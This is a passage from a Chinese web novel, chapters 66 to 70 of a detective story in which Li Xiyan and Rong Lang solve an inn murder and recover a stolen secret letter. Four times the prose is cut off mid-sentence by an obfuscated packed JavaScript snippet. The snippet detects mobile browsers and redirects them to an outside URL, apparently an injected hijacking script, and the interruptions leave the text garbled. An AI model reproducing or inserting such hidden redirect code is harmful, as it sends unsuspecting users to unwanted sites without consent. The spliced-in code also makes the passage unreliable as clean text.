成功顺走手帕的容朗却得意得眉毛都要飞起来了。 二人心思各异吃完了饭。 容朗喝了口茶,把今日的发现告知给她。 “凶手应该是普通偏瘦小的男性,个子和你差不多。” “冯老板和沈坤都只比我高一点点。” “你怀疑他们俩?冯老板……不可能吧?” “他嫌疑最大。” 虽然李希言直到冯老板是个好人,可是好人可不一定不会杀人。 她分析道:“从动机上来说,这个罗耀给冯老板找了这么多麻烦,他心里不可能不怨恨。从作案时间来说,当时他就在院内,还手握钥匙,很容易就能拿到金刀并且进出后院。” “那沈坤呢?” “他没有内院钥匙,嫌疑相对小一点,但是这并不代表他没有办法拿到钥匙。在王佑年昏睡的那段时间内,很多人都能拿得到钥匙。” “那动机呢?” “具体不太清楚,但是我今日问起他和罗耀的关系时,他撒谎了,二人之间多半有什么仇怨。”李希言也不急,“明日打听打听就知道了。” 容朗摸了摸下巴:“可是,这么一看,我倒觉得冯老板嫌疑没那么大。” “哦?” “你想啊,实际上罗耀搞出来的那些烂摊子也不是非要他管,只不过是因为冯老板是个柔善之人。再说回这次案子本身,凶手一定是谋划了许久才做犯的案。冯老板要是有这样的心智,大可直接把人赶走不就了事了吗?他只是姐夫,又不是爹娘。” 李希言点头:“你说得有理。若真是冯老板犯案,也应该是激情之下杀人更合理些。只是……” “只是什么?” “我怀疑他还有个很重要的原因。” “什么原因?” “鞋子。” “鞋子?” “没错。凶手在杀人的时候穿了一双七寸长的女人的鞋子。在当晚那种情况下,冯老板是最容易能够找得到女鞋的人。罗夫人的脚大概就是七寸长。” 容朗忽然想起了什么,语气笃定。 “不对!还有个地方能找得到女人的鞋子!” “什么地方……”灵光一闪,李希言一下想了起来,“你是说王佑年叫来唱曲儿的那个青楼女子?” “是啊!凶手在偷刀的时候不就可以顺便拿走那女子的鞋子吗?” “确实如此,可是还有一个疑点。” “什么疑点?” “酒菜。王佑年他们四个好歹是禁军,怎么会醉得连金刀被别人拿走都毫无察觉。但是,如果酒菜里被下了药呢?那菜可是客栈里的菜。” 容朗有些被说动了。 只是,他心里还是希望,凶手不要是冯老板。 那样的好人,手上不应该染上鲜血。 李希言看得出他的想法。 她轻轻拍了拍他的肩膀,安慰道:“也不一定是。这个罗耀仇家不少,说不定是其他人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196352|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “但愿如此。” 第二日一早,二人就去了客栈的后院。 冯老板一家人刚刚吃完饭,一家三口还坐在餐桌前。 罗夫人正在收拾碗筷,冯小郎一见二人一下就跑了过来。 “哥哥姐姐,你们怎么来了?” 李希言扯了个幌子:“昨日在衙门听说了些事情,想来和你们通通气。” 冯老板一听这话,面色都变了一变。 “和案子有关?” “正是。” 罗夫人停下动作:“是那个禁军招供了?” “不是。” “先坐先坐。”冯老板招呼着二人坐下,把碗筷拿到了一边先放着。 二人入座。 李希言才说道:“那个禁军不是凶手。” “果然!” “什么?!” 夫妻二人的反应完全不一样。 冯老板摸着唇上的胡子。 “那晚衙门把人抓走后,我才觉着不对。那个王郎君,世家子弟,禁军出身,真要收拾我那个不争气的小舅子,什么办法没有?非要杀人?不太可能。何况,谁拿刀杀了人连刀上的血都不擦?一看就知道是被栽赃陷害。” “衙门也是这样说的。”李希言故作坦然,“说是现场发现的脚印和王郎君对不上。” 冯夫人皱眉:“那凶手是谁?” “衙门没说得太清楚,只说大致确认了凶手是个身长五尺一寸到五尺三寸左右不太健壮的男子。” “这算哪门子线索?满大街都是这样的!”冯老板长叹一口气,“多半这案子也没啥结果了。” 李希言说道:“也不能这样说,凶手啊,多半都是那晚住在客栈里的人。当晚,统共也就二十来个人,一个个排查过去,总能缩小范围,再问一问当时的行踪,说不定就找到了。” 冯夫人眉间这才一松。 “李娘子说的有理。” “不过……”图穷匕见,李希言终于收线,“二位那晚就没有听见什么动静吗?” 冯家一家三口齐齐摇头。 李希言收回了试探的视线。 不像是说谎。 容朗见她问完话才说道:“对了,冯老板,现在罗耀没了,你家岳父岳母你可有什么章程?” “能怎么办?”冯老板握住罗夫人的手,语带宽慰,“家里也不缺两个老人家的饭食。” 罗夫人很是感动,目含泪光。 这么多年,她娘家是真的拖累了家里。 可是他从来没说过一句她的不是…… “是这个理,只是我看二位老人家……”容朗一副欲言又止的样子,“老是动气对自己身子也不好。” 罗夫人也不避讳。 “二位家里定然是体面人,没见过我爹娘这样的人。你话重一点,他都要闹着上吊跳河……我实在是……实在是……”她眼里的泪涌了出来,“我是真拿他们没办法。说句大不韪的话,我是真恨啊,也真是没法子。” 一个孝字都能压死她,想强硬起来都不行。 “夫人也不必伤心。”容朗语气缓缓,“其实啊,我倒是有个办法。” “什么法子?”夫妻俩一脸好奇。 在二人眼里,这两位房客一看就是厉害人。 “都说‘隔代亲’。这老人性子再倔,也会听孙子的话。冯小郎这样机灵懂事,以后不如让冯小郎来侍奉二老。” “这……”冯老板有些迟疑。罗夫人也有些不愿意。 自家爹娘那德行,对这个外孙向来也不怎么样啊! “我愿意!”冯小郎清清脆脆应了下来。 容朗附和:“瞧瞧!多懂事的小郎君。二位以后才是有福了!” “爹,娘。”冯小郎半跪在夫妇二人跟前,“为父母分忧也是孝,你们就让孩儿当一回孝子吧!” 夫妻二人肚子里哪里有那么多弯弯绕?被儿子一求一下就松了口。 二人站起。 “今日就叨扰了,我们还要出一趟门,就不打扰了。” 冯小郎眼珠子滴溜溜一转:“我送哥哥姐姐到门口!” 自己孩子这样可爱,自命案发生后,一直没个笑脸的夫妻二人脸上重新浮起了笑意。 67. 醉翁之意 一出后院,冯小郎就神秘兮兮地扯着容朗的袖子,带着二人走到了楼梯后。 “哥哥是有什么事要交代我吗?” 容朗俯下身和他耳语了几句。 冯小郎听得直咧嘴。 “这个法子好!” 容朗抚了抚他的头:“你已经算是大人了,现在你爹娘得靠着你了。” “没问题!”冯小郎挺起胸膛,“我一定会保护好爹娘的!” 见二人嘀咕完,李希言才对着冯小郎开口:“今日还有事情要问你。” “说吧!是不是关于舅舅的事情?” “是。你记不记得你舅舅有哪些仇家?” 冯小郎皱脸:“记是记得,但是要说清楚得说个三天三夜。” “深仇大恨且那晚在客栈的人。” “这个嘛……”冯小郎敲了一下脑袋,“哎呀!我想起来了!就沈叔和我舅舅就有大仇。” “沈坤?” “没错。”冯小郎压低了声音,“上个月,沈叔叔跑到客栈来找我爹,说什么‘你那个小舅子这次是害死我了’还说‘恨不得杀了他’具体是怎么回事,我不太清楚。但是啊,我猜,多半就是被骗了钱……” “罗耀常在外面骗钱?” “对啊,他老是在外面装生意人。逢人就说什么自己认识京城里的富商,要做大买卖,要不要入伙。” “被他骗的人多吗?” “原来多,现在少了。”冯小郎摊开双手,“都知道他的德行,现在很少有人信他了。” 冬日的天黑得早。 还没到晚饭的时辰,冯老板就点亮了客栈里挂着的灯。 两盏微微发黄的灯笼一左一右挂在客栈门口,风一吹,就晃晃荡荡的。 风声呼啸,卷着一点点雪花。 眼见着雪花又飘了下来。 冯老板关上了门。 大堂里的客人一抖。 到底是才出了命案,原本正常的景象看上去无端添了几分可怖的氛围。 一时之间,大堂一下就空了下来。 冯老板叹一口气,一脸惆怅拿着账册回了后院。 吱呀—— 三楼的一扇门打开。 李希言和容朗脚步快而轻,下了楼。 二人的身影潜行在烛光未及之处,悄无声息。 走到一间房的门口。 李希言快速推开房门,闪身进入。 “谁!”沈坤吓得摔坐在地,满头大汗,左手指着二人。 “是我们。”李希言按住他的肩膀。 肩膀上传来人的温度。 沈坤长出一口气。 “吓死我了。” 他还以为……真是鬼。 李希言用脚勾住圆凳往身后一拖,坐了下来。 “你在怕罗耀的鬼魂来找你?” 沈坤擦擦汗,撑着桌子站了起来。 “二位这是来做什么?” “来问话。”李希言从袖子里拿出一张地契往桌子上一拍,“罗耀骗了你多少钱?” 沈坤咽了咽口水。 “我是傻子?会上他的当?” 李希言把问题抛回给他:“没有证据,我会说这话?” 沉默持续了片刻,沈坤抵不住李希言的威势,终于松了口。 “是,我确实是被他骗了。” 这件事情想想就让他咬牙切齿的生气。 “那个龟儿子!拿着这张假地契,骗了老子足足六百两银子!害得老子被婆娘赶出家!” “所以你在客栈住是因为……” “我没想让老冯还钱,本来就不是他的事。我只是想着在他这儿借住而已。” 按照冯老板的性格,定然是不会收他房钱饭钱。 身无分文的沈坤也只有这个选择。 看着气势汹汹而来的二人。 他心里明白得很。 “我真没杀他。我孩子才十岁,我犯不着为了这种事情杀人啊。” “那你为何隐瞒?” “我这不是怕被怀疑嘛……”沈坤不安地捏着衣角。 李希言打量着他的表情,想要从中找出什么破绽。 忽然,她的手臂被人戳了一下。 她扭头看向容朗。 容朗摇了摇头,小声道:“他是左撇子。” 凶手是右利手。 李希言颔首,转头对着沈坤继续问道:“那晚,你可听到什么动静?” “什么……什么动静……” “今日上午我问你可听到了什么,你却回答‘什么都没有听见,什么都没有看见’。我何时问过你看见过什么?这明显就是你看到了什么。” 沈坤憋了许久才说道:“好像是看见了个人影儿在走廊里走过去了。” “快到四更天的时候吧,那人影过去没多久我就听见了打更声。” “还记得那人影的样子吗?” “记得,是个男的,个儿不高,大概……”沈坤走到门边,指着窗户纸的一块位置,“人影高度在这儿。” 五尺一寸的高度。 多半就是凶手了。 见二人的表情,是沈坤声音有些发飘。 “那人影……是凶手?” 李希言瞟了他一眼,没有回答。 但是沈坤自己已经觉过味儿了。 杀人的凶手就在那晚在他门口走过…… “我……我当时还差点开门……” 他一脸心有余悸的表情。 李希言无暇顾及他的心情。 “你之前所言被罗耀骗取钱财这事儿,可还有其他受害人?” “有!光和我一起被骗的都有五个。” 容朗觉得有些奇怪。 罗耀早已名声在外,这些人怎么还会上他的当? “说来,他怎么骗的你们?” 说到这事儿,沈坤肩膀都垮了下来。 “那日,他请我们几个到我们这里最贵的醉春楼喝酒,还找了好几个漂亮姑娘作陪,说是自己得了一大笔钱。” “他说你就信?” “嗐!我们当时也怀疑过。可转念一想,在醉春楼能找几个漂亮姑娘喝酒可要花不少钱。这小子要不是真弄到了钱,能请得起这个客?谁成想……”沈坤懊悔地拍了一下大腿,“是我们犯蠢!” “和你一起被骗的人有哪些?” “有些多。” 李希言指着书桌:“去写下来。” 被罗耀骗的人都是本地人,徐县尉拿着名单一一排查。 二十来个人中愣是没有一个符合凶手的条件! 案子再一次陷入了僵局。 李希言躺在榻上,闭上了眼。 头疼。 坐在一边的容朗提议道:“不如我们重新捋一捋?十月初七的晚上。凶手盗走金刀进入了内院杀死了罗耀。” “不能这样捋。” 李希言微微睁开眼。 “十月初七。王佑年偶得美酒后携一青楼女子进入客栈。当晚,四个禁军和青楼女子在屋内饮酒。冯老板因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199696|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰伤卧病在床休息,沈坤也在屋内休息。子时前,四名禁军与青楼女子喝醉失去意识。凶手趁机进入禁军房内盗走金刀,再进入院内,敲开了罗耀的门……” 容朗接话:“凶手应该和罗耀认识。” “不仅是认识。屋内没有打斗痕迹,罗耀是站在床前被害的,二人的关系应该是极为亲密,甚至有可能罗耀知道凶手那晚会来。不然,罗耀不会在快到子时的时候还穿着外衣。” “会不会是二人约定好了见面?” “那就更奇怪了。”李希言继续说道,“之后,凶手忽然拿起金刀杀了罗耀。” 容朗对比着验尸结果补充道:“先一刀封喉,然后在他的左胸口又补了四刀。罗耀断气后,凶手才将人移动到了床上。” “毫无章法的杀人手法。” “从伤口形态来看,凶手确实是新手。” “新手还割喉?” 这一句话点醒了容朗。 “是啊……”他比划了一下,“即使二人是熟人,这要面对面割喉还是有些难呐。除非……当时罗耀闭着眼睛。” 李希言低低笑出声。 好奇怪的画面。 “姐姐,你看啊……”容朗俯下身,凑到她脸侧,呼吸吹着她的耳垂,“罗耀那样的人,应该是会做贼心虚的,什么人能让他放下戒心,大晚上的见面不说,连凶手迎面割喉他都没反应过来?” “同伙或者是……亲人?”李希言不自在地躲开了些。 容朗直起身:“对啊,你看我们认识这么久了,我凑近了你都不自在。凶手和罗耀关系应该非常亲密。” “或者他笃定凶手不会不能杀他。” “说来,他骗人这事儿难道就没有同伙?” “徐县尉查过了,从头至尾,只有他一个人出面。” 窝在软和的榻上,人的思绪也变得混沌了起来。 争执,金刀,杀人,骗钱…… 一个念头在脑内闪现,李希言一下坐了起来。 “或许,从一开始,我们就搞错了方向。” 这里是王佑年等人居住的房间。 自从案发后,房间就被锁了起来。 房内应该只有那晚在房里的无人的痕迹。 这房间只有两张床,一左一右分列在房间两侧。 中间放着一张圆桌。 因为李希言的嘱咐,三个禁军已经换了房间。 这地面上已经有了一层薄薄的灰。 李希言小心走进,避免破坏地上的痕迹。 “姐姐,你是不是觉得这里应该会留下凶手的脚印?”容朗站在门口守着。 “没错那晚,凶手那晚肯定是来过这个房间的,若是真的如同我们推测一般,他当时窃取了那个女子的鞋,那他原本的脚印一定会在这里留下痕迹。” 李希言一边说一边往里走,地上的脚印很多还很乱。 但是,四人都是高大汉子,脚印很明显要大出不少,那个青楼女子的脚印要小些许。 还算好排查。 她找遍了整个房间,却还是没有收获。 难道凶手机警到把脚印都擦掉了吗? 手边就是房内暂时如厕的地方。 李希言不愿意放弃,直接绕过遮挡的屏风走了进去。 这里的脚印更密集,每一个脚印都朝着前面,重重叠叠,看得人眼花缭乱。 面前的马桶的臭味还未散去,直往人鼻子里钻。 李希言抬起头。 “那几个禁军还在客栈吗?” 68. 美人计 三个禁军老早在就等在外面。 一听这话,都探出头来。 “李少使找我们有事?” 三个脑袋歪着看她。 好傻…… 李希言揉了揉太阳穴。 “还记得那个青楼女子长什么模样吗?” “记得啊。”年纪最小的卓于野说道,“挺漂亮,眼睛大大的,嘴巴小小的……” “停!”李希言伸手,“你这算什么形容,说具体些。” “脸比李少使的更圆润些,眉毛更细些,眼睛没有那么黑,更大更圆,鼻子更小些,一样挺……” 容朗牙齿磨得滋滋响。 我觉得这个小白脸有些不对头。 李希言听得直皱眉。 “你们三个……谁会画人像?” 一直不怎么说话的林天海站了出来:“下官原来在京兆府画过逃犯。” “你记得那人长什么样吧?” “记得。” “画下来。” “是。” 林天海确实没有吹牛。 画像画得栩栩如生。 是个标致的美人,眉眼秀丽,尤其那一对眼睛,如同明珠一般,熠熠生辉。 “这姑娘叫做黛素,弹得一手好琵琶。”余锐问道,“李少使是要找她了解情况吗?可是那晚她醉得比我们还厉害呢。” 李希言收起画。 “画的不错。王佑年在哪儿找到的她?” “说是就在客栈后面……往青楼走那条街道。”余锐回忆了一会儿,“叫什么水磨巷子。” 李希言听到青楼两个字就头疼,忍不住教训道:“你瞧瞧你们,在外面办这么重要的事,还去干这些事,真是……” 三人羞愧地低下了头。 本朝虽然没有官员不能狎妓的规矩,但是自从今上登基后,在态度上对这样的事情是很反对的。 逐渐,去青楼也成了不那么见得人的事情。 李希言扫了三人一眼,又好气又好笑,提脚走了出去。 眼见着二人要走,余锐大着胆子问道:“李少使,那东西……” 李希言停下脚步:“没有消息,但是快了。” 她说完,带着容朗就离开了。 徒留三人在原地大眼瞪小眼。 “哥,啥叫做,没消息但是快了?”林天海挠挠头。 余锐也有些糊涂:“这东西要是真丢了……” “才不会。”卓于野望着李希言的背影,还有些圆乎乎的脸上红透了,“李少使可厉害了,一定能找着。” 余锐见他神色又想到刚刚他那些话,心里一沉。 “小卓,你这么信任李少使?” “嗯嗯。” 少年怀春哪里瞒得过人的眼睛。 连迟钝些的林天海都反应了过来。 “小卓啊,你不会是喜欢李少使吧?” 在两个哥哥的注视下,卓于野的脸一点一点红了起来。 余锐急忙说道:“你最好把这个念头给熄了。” “为什么……”卓于野扯了扯手指,“我官位确实不如她。” 余锐拍了一下他的头:“岂止只是这个问题。” “还有那个定远将军在呢。” 卓于野不服气:“他们不是都退婚了吗?” “退婚是退婚了,但是你看看,这都两年了,周家有没有和哪家相看过?这明显是那周彻还惦记着呢。” “那又怎么样?” 林天海幽幽道:“还有长乐王。你们没觉得他俩太亲密了吗?” 被一刀又一刀插在心里,卓于野快哭了。 余锐回忆:“是有点啊。” “岂止是有点。”林天海撇撇嘴,小声嘀咕,“我之前见李少使和那个定远将军都没那么热乎……” 水磨巷子是一条很安静的小路。 住户极少,来往路过的人多。 穿过这条路,就是一条满是青楼的街道。 看着映入眼帘的醉春楼,容朗沉默了。 “我们来这儿做什么?” “醉春楼,那就是对的。”李希言脸上浮现一丝稀薄的笑意。 “好姐姐。”容朗拱着手,“你给我讲一讲到底是怎么回事嘛。” “别闹。”李希言哭笑不得,点了点他的肩膀。 容朗凑得更近:“你肯定是发觉什么了,你给我说说嘛~” “凶手应该是那个……”李希言顿了顿,表情有些微妙,语调也怪得很,“青楼女子。” “啊?”容朗惊讶,“那个人……” “那人应该是醉春楼的人,和罗耀勾结做局骗取了沈坤等人的信任。事后,罗耀背叛了他们的约定。所以,那人就进行了报复。” “可是凶手体型还有性别……” “那人是男扮女装。” 容朗被惊得呛到。 李希言连忙给他顺气:“有那么意外吗?” “我……这不是……你怎么知道的?” “刚刚在马桶那里的脚印。那人留下的脚印,脚尖是对着马桶的。” “所以?”容朗有些没想通,这和性别有什么关系? 李希言无言,靠在墙上:“男子和女子小解的姿势不一样。” 男子小解是站着的,朝着马桶。女子是坐着的,脚尖应该朝外。 “喔!还真是!”容朗夸赞道,“姐姐,你也太细心了。” “他应该是故意勾得王佑年带他回去,然后趁机在酒食里下了药,最后偷了钥匙,带着刀去杀了罗耀。至于他们的约定……应该就是那把金刀。” “金刀?约定?” “那金刀价值不菲。”李希言直起身,“我们找个地方,换个行头。” “你要做什么?” “把人引出来。” “你去啊?” “他是男的,你去?”李希言的话有些直,眼里却满是关心。 怎么能让他沾这些脏东西。 “那也不能你去……”容朗扯着她的袖子。 “不是,这人有些特殊。这种情况,反而我一个女子安全一点。更何况……你这个头,他一见你就不敢近身。” 容朗自知改变不了她的决定,只能顺着她。 “那我呢?” “你潜伏暗处,准备抓人就行了。” 夜幕初降。 水磨巷子里,明暗交错,环佩叮当。 一身锦衣的女子一个人摇摇晃晃走在路上,双颊染着红晕,一看就知道醉的不轻。 她站在巷口,停下脚步,靠在墙边。 羽睫微垂,浓眉飞扬,唇若朱砂。 高挑的身姿配上一张别有风韵的脸,十分引人注目。 暗处,一个人影慢慢靠近。 “姑娘?” 是个年轻男子的声音,很是清澈柔和。 李希言缓缓转过头。 五官秀丽,轮廓不深却足够端正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面前一黑,年轻男子被吓得连连后退,一不留神就被脚边的门扇绊得摔倒在地。 “黛素姑娘。” 背后传来的女声没有丝毫的醉意。 他心脏狂跳着,缓缓转过头:“你……是谁?” 刚刚还一副小鸟依人的女子,已经大马金刀地稳坐在床边,那双半合的眼完全睁开,寒光湛湛,眉头的红痣似血一般红艳,望之令人生畏。 他不安地来回瞟着二人。 李希言站起身,走到他面前,直截了当地问道,“是你盗窃金刀杀了罗耀?” 年轻男子睁大了眼。 李希言继续说道:“说说你的真名吧。你现在这副打扮,我叫你黛素也不太合适。” 心里的恐惧让人手脚冰凉,忍不住发抖。 “你是谁……” 李希言笑了笑,眉头的红痣跟着动了一下。 一个名字却在脑海忽的闪过。 年轻男子的表情逐渐凝固:“李希言!” “你倒是聪明。”李希言俯下身,拍了拍他的脸,“所以,交代一下你是怎么用的美人计吧。” 69. 缘由 审问“黛素”的地点就设在他暂居的屋内。 容朗非常不客气地以一种公报私仇的态度将人一把扔到了床前,又非常殷切地搬来了两张椅子,扶着李希言坐下。 “姐姐,坐。” “黛素”瞅了一眼二人,一双眼睛清澈见底:“你还有个弟弟啊?” 容朗紧紧抿着嘴唇。 此人甚有心机,竟然敢暗讽他! “你还管我的私事?”李希言翘起腿,“你知道你自己犯了多大的事吗?” “不就是杀人嘛。”“黛素”眨了眨眼睛,语调自然又轻快,仿佛说是自己去吃饭喝水那样日常的事情一样。 “只是杀人?你知不知道……”李希言叹了口气,“交代清楚,你当时如何作案的。” “你不动刑?” “你老实交代,我动刑做什么?先说说你叫什么名字。” “我叫……戴三,这或许是我的名字。我阿娘说我爹应该姓戴。”戴三还是懵懵懂懂的模样,“我也不确定,我阿娘是青楼里的人,客人很多,哪里能确定我爹是谁呢?反正醉春楼的人都这样叫我的,嘿嘿。” “你母亲……”李希言觉得心里有点酸涩,清了清嗓子,“是醉春楼里的人?” 戴三点头,一双眼睛亮晶晶的:“嗯!我阿娘原来可是醉春楼里的花魁,可漂亮啦。我的琵琶也是我阿娘教的……” 他絮絮地念叨着自己母亲的美好,笑得满足,让人不愿打断。 直到他说完,李希言才继续问道:“你为何要杀罗耀?” 戴三脸上的表情一僵,灵动的双目霎时间就黑了下来。 “他骗人!” “他骗你什么了?” 戴三咬了咬嘴唇。 “我和他本来相好。有一日他来找我说,让我帮他一个忙。” “什么忙?” “他让我带着几个醉春楼的姑娘在醉春楼帮他招待几个客人。” “客人中可是有一个叫沈坤的?” “嗯。他跟那些客人说,自己得了一个大门面,让他们出钱大家一起做生意。其他的我不懂,他只说让我在旁边劝着那些人出钱,还要给他抬轿子。” 李希言皱起眉:“你不知道这是在骗人吗?” “我不知道……我以为只是做生意的手段,他当时还答应我事成后给我二十两银子。没想到……他不仅没给钱,还骗我。” “骗你?” 戴三气得眼泪汪汪。 “他说他可以看在我俩的交道上让我入股,还说我只需要给一百两银子就能占半分利。我当时没想那么多就答应了。” 结果自然是肉包子打狗——有去无回。 “之后我就换了女装,天天在客栈那边徘徊。我找了他好几次,他都搪塞了过去。恰巧有一日我在客栈里陪客人的时候,碰见他和那个禁军争吵,又听见冯老板说要把钥匙交给禁军,就想出了一个借刀杀人的法子。” 戴三低下脑袋,声音闷闷的。 “我先是找罗耀假意和好,告诉他那金刀价值不菲。果然,罗耀那个废物一听这话,就动了心思。之后我和他商议,我去偷金刀,他拿去卖掉,得到的钱五五分成。对了,我们还约定了那晚碰头。之后我就在街头故意引诱了那个姓王的禁军带我回客栈。那晚喝酒的时候,我给他们下了药,偷了钥匙和刀就去找罗耀。我一进屋,就脱了外衣假装要和他玩闹,让他闭上眼睛,他也听了。然后,我就把他杀了,又把他拖到床上放下,拿了他的钱,穿上干净的外衣后就回了屋。” “只是这样?” “只是这样。”戴三讲述着自己的设计,“那日我故意穿了一双小些的鞋子,好误导你们,让你们以为凶手是个男子。” 李希言哼笑一声:“我说的不是这个,你确定你只偷了金刀和钥匙?” 戴三撑在地上的双手颤了颤。 李希言直觉此人心智似乎有些不全,放缓了语气:“你知道你拿走的东西是什么吗?” “是……什么?”戴三抬起头,怯怯地看着她。 “是一封重要的军情密信。不然,我怎么会插手?” 戴三缩了缩脖子,声音像蚊子一样:“东西还在……” “还在?!”李希言分外惊喜,“你没给他们?” “没有。”戴三捏着衣角,“我知道他们是在利用我,所以只给了他们一个假的……就躲到这里来了。” 难怪他住在这么偏僻的地方。 李希言伸出手:“把东西拿来。” 戴三没有反抗,伸手去解裤子。 “你做什么!”容朗眼疾手快,一把拉住了他的手。 这人真有些不正常。 李希言上前按住他的手。 “别急。” 戴三哭丧着脸:“我把东西藏在裤子里啊……” 李希言尴尬了一瞬,默默背过身。 “快拿。” 她现在更加肯定这人心智确实不全。 一直憋着气的容朗也消了气。 他跟个没脑子的计较个什么劲儿啊! 戴三掏出一个竹筒,直接往容朗手里一塞。 竹筒还是热乎的…… 容朗一脑补那东西原本是放在哪里的,直接甩了出去。 也是凑巧。 这一甩,刚好把竹筒摔开。 一封信掉了出来。 李希言捡起信,看了一眼正在疯狂擦手的容朗。 是有些为难他…… 她走上前问道:“我给你弄些水来?” “没有用的……”容朗嘴唇都在发抖。 他不干净了,他不干净了…… 李希言握住他的手。 “其实也没什么……手挺干净的。” 戴三插嘴:“我又没有揣在里面,我是穿了亵裤的。” 容朗当做没听到,把自己的手往李希言手里塞了塞。 “你再看一看~” 李希言觉得有些好笑,但是还是好脾气握着他的双手翻来覆去地看了好几遍。 “干净的。” 站在一旁干看着的戴三似有所悟:“你们俩是相好啊?我还以为真是姐弟呢。” 二人交握的双手顿时僵住。 “你们这些当官的真奇怪,别人都是情哥哥情妹妹,怎么你们……” 戴三喋喋不休的嘴被李希言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224296|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞了一块手帕。 胡言乱语! 捉到了真正的凶手,二人一大早就带着戴三敲开了县衙的大门。 衙役一开门被吓了一跳。 “是你们?” 来开门的衙役正是之前带二人进去的人。 容朗语速很快,言简意赅,透着一股迫切:“凶手抓到了,快带我们见张县令。” 再不把这个戴三甩出去,自己的皮都要被揭个精光了! 明明看得透人情又偏偏口无遮拦。 再这样下去,让姐姐先怕了自己怎么办? 衙役有些莫名,慢悠悠地打量了一眼他扯着的戴三。 “急什么。县令交代过,是二位过来就让我直接带你们去……” 不等他说完,容朗就直接拽着戴三冲了进去。 “诶诶!”衙役也顾不上站在一边的李希言,一边招呼着一边去追,“左边!你走错方向了!直接去牢房!” 得知了消息的张慈还穿着常服就小跑着到了监牢。 一见凶手是个看上去才十几岁的小郎君,他忍不住教训了几句。 “你才这么小?为何要去杀人?为了杀罗耀那样的人,搭上自己的一辈子值得吗?” 戴三歪着头:“我今年二十七,不小了。杀人是为了拿回我的钱,我也不知道值不值。但是,我把钱拿回来就够了呀,不然我阿娘没有养老的银钱会很惨的,她没有钱只有继续做妓女……” 回答得一板一眼。 张慈愣了一下。 这人……怎么不太…… 李希言小声提醒。 “心智不全。” “这……”张慈有些怀疑地看着她。 李希言知道他疑心什么,把手里的包袱塞给他:“他杀人的时候的衣服都在这儿。你再审一审就知道了。” 张慈是个颇坚持原则的人。 这案子他必须再次核对,尤其凶手还是个心智不全的人。 他拿起包袱,点点头,就让人带着戴三进了刑房,把二人留在了外面。 李希言倒是不着急,和容朗找了个位置坐在门口等着。 密信找到了,案子也破了,事情也算是了结了。 过了一会儿,王佑年又被押进了刑房。 他进去后不久,张慈就走了出来。 “李少使。”他拱手道,“麻烦您了。案子下官已经核查清楚。戴三确实是杀害罗耀的凶手。只是此人……该如何处置?他心智不全,按规矩……” “按规矩是会有所赦免。但是此人并不是愚钝到如同小儿的地步,只是比常人略略愚钝些许。他杀人是经过思考且明白结果的。” 张慈也正是此意,赞同地点点头。 “李少使所言与下官的想法不谋而合。” “只是,先不急。”李希言眸光微沉,“按照目前的律法,你确实不能直接判其斩刑。稳妥起见,你还是奏请陛下为好。” 再如何不掺和官场争斗,也身在其中。张慈明白对方的用意,自然欣然接受:“多谢李少使提醒。” 李希言点点头:“我还要有话要问戴三。” 张慈挑眉:“他也闹着要见李少使。” 70. 暗中操纵 “啊——打人了!阿娘救我!” 三人话还未说完,刑房里忽然传出一声来自戴三的呼救。 李希言面色一沉,快步走了进去。 果然,刚刚被放开的王佑年正揪着戴三的衣领,捏着拳头,正要打上去。 “你大爷的!你竟然是个男的。” 她就知道! 李希言硬着头皮走上去,给了王佑年一脚。 “放开。” “我……”王佑年一见她来了,捏成拳头的手一下就松开了,语气也染上几分委屈,“他是个男的……” “放开。”李希言忍住翻白眼的冲动,警告道,“别让我动手啊。” 王佑年立刻松开了手,规规矩矩站好。 被吓得不轻的戴三直往李希言身后缩。 晚来一步的容朗上前几步,不着痕迹挤开他。 戴三嗫嚅道:“挤我干嘛啊……” 容朗瞪了他一眼。 闭嘴! 交锋是在李希言视线不能及之处悄悄发生的。 她本人正气闷着。 真是搞不懂这些人怎么回事?好好说话不听,非要威胁才有用。 “你。”她指着王佑年,“自己找个位置蹲着,没脑子的东西,被别人装套里了,还有脸在这里打人?” 王佑年这才想起。 “东西呢?” “找到了。”李希言忍着气解释,“别人一个美人计就把你迷得不知道自己姓什么,有迷药的酒菜都往嘴里塞!密信被他摸走了,昨日已经找回。” 一直悬着的大石这才落下。 